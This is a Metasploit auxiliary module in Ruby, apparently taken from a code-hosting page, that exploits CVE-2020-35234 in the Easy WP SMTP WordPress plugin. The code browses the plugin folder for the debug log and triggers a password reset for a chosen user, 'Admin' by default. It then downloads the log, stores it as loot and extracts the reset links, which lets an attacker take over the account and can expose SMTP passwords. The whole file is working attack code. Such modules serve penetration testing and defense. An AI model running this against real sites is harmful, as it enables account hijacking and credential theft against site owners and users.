121 lines
5.3 KiB
Ruby
121 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'WordPress Easy WP SMTP Password Reset',
|
|
'Description' => %q{
|
|
Wordpress plugin Easy WP SMTP versions <= 1.4.2 was found to not include index.html within its plugin folder.
|
|
This potentially allows for directory listings. If debug mode is also enabled for the plugin, all SMTP
|
|
commands are stored in a debug file. An email must have been sent from the system as well to create the debug
|
|
file. If an email hasn't been sent (Test Email function not included), Aggressive can bypass the last check.
|
|
Combining these items, it's possible to request a password reset for an account, then view the debug file to determine
|
|
the link that was emailed out, and reset the user's password.
|
|
},
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
# this was an 0day
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'https://wordpress.org/support/topic/security-issue-with-debug-log/'],
|
|
['URL', 'https://blog.nintechnet.com/wordpress-easy-wp-smtp-plugin-fixed-zero-day-vulnerability/'],
|
|
['URL', 'https://plugins.trac.wordpress.org/changeset/2432768/easy-wp-smtp'],
|
|
['WPVDB', '10494'],
|
|
['CVE', '2020-35234']
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
},
|
|
'DisclosureDate' => '2020-12-06'
|
|
)
|
|
)
|
|
register_options [
|
|
OptString.new('USER', [false, 'Username to reset the password for', 'Admin']),
|
|
OptBool.new('AGGRESSIVE', [false, 'Proceed if debug file not found', false]),
|
|
]
|
|
end
|
|
|
|
def get_debug_file(aggressive)
|
|
print_status('Checking for debug_log file')
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => "#{normalize_uri(target_uri.path, 'wp-content', 'plugins', 'easy-wp-smtp')}/" # trailing / to browse directory
|
|
})
|
|
fail_with Failure::Unreachable, 'Connection failed' unless res
|
|
# find the debug file name, prefix during my testing was 14 alphanumeric
|
|
unless />\s*(?<debug_log>\w{5,15}_debug_log\.txt)/ =~ res.body
|
|
unless aggressive
|
|
fail_with Failure::NotVulnerable, 'Either debug log not turned on, or directory listings disabled. Try AGGRESSIVE mode if this is a false positive'
|
|
end
|
|
print_error('Debug file not found, bypassing check due to AGGRESSIVE mode')
|
|
end
|
|
debug_log
|
|
end
|
|
|
|
def run_host(ip)
|
|
unless wordpress_and_online?
|
|
fail_with Failure::NotVulnerable, 'Server not online or not detected as wordpress'
|
|
end
|
|
|
|
checkcode = check_plugin_version_from_readme('easy-wp-smtp', '1.4.2')
|
|
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
|
|
fail_with Failure::NotVulnerable, 'A vulnerable version of Easy WP SMTP was not found'
|
|
end
|
|
print_good('Vulnerable version of Easy WP SMTP detected')
|
|
|
|
debug_log = get_debug_file(datastore['AGGRESSIVE'])
|
|
if debug_log
|
|
print_good("Found debug log: #{normalize_uri(target_uri.path, 'wp-content', 'plugins', 'easy-wp-smtp', debug_log)}")
|
|
end
|
|
print_status("Sending password reset for #{datastore['USER']}")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
|
|
'vars_get' => {
|
|
'action' => 'lostpassword'
|
|
},
|
|
'vars_post' => {
|
|
'user_login' => datastore['USER'],
|
|
'redirect_to' => '',
|
|
'wp-submit' => 'Get New Password'
|
|
}
|
|
})
|
|
fail_with Failure::Unreachable, 'Connection failed' unless res
|
|
fail_with Failure::NotVulnerable, 'Site not configured to submit new password request' if res.body.include?('The email could not be sent')
|
|
fail_with Failure::Unknown, 'Unable to submit new password request' unless res.code == 302
|
|
|
|
unless debug_log
|
|
Rex.sleep(2) # give the log file time to write if it wasn't there already
|
|
debug_log = get_debug_file(false) # die if file not found
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'easy-wp-smtp', debug_log)
|
|
})
|
|
loot = store_loot(debug_log, 'text/plain', ip, res.body)
|
|
print_good("Debug log saved to #{loot}. Manual review for possible SMTP password, and other information.")
|
|
c2s = 'CLIENT -> SERVER:\s+'
|
|
# this is an ugly regex, but the username, and link span multiple lines
|
|
res.body.scan(/#{c2s}Username: (?<username>\w+)\s+#{c2s}#{c2s}If this was a mistake, just ignore this email and nothing will happen.\s+#{c2s}#{c2s}To reset your password, visit the following address:\s+#{c2s}#{c2s}(?<link>[^\n]+)/).each do |match|
|
|
if datastore['USER'] == match[0]
|
|
print_good("#{match[0]} password reset: #{match[1]}")
|
|
next
|
|
end
|
|
print_status("#{match[0]} password reset: #{match[1]}")
|
|
end
|
|
print_status('Finished enumerating resets. Last one most likely to succeed')
|
|
end
|
|
end
|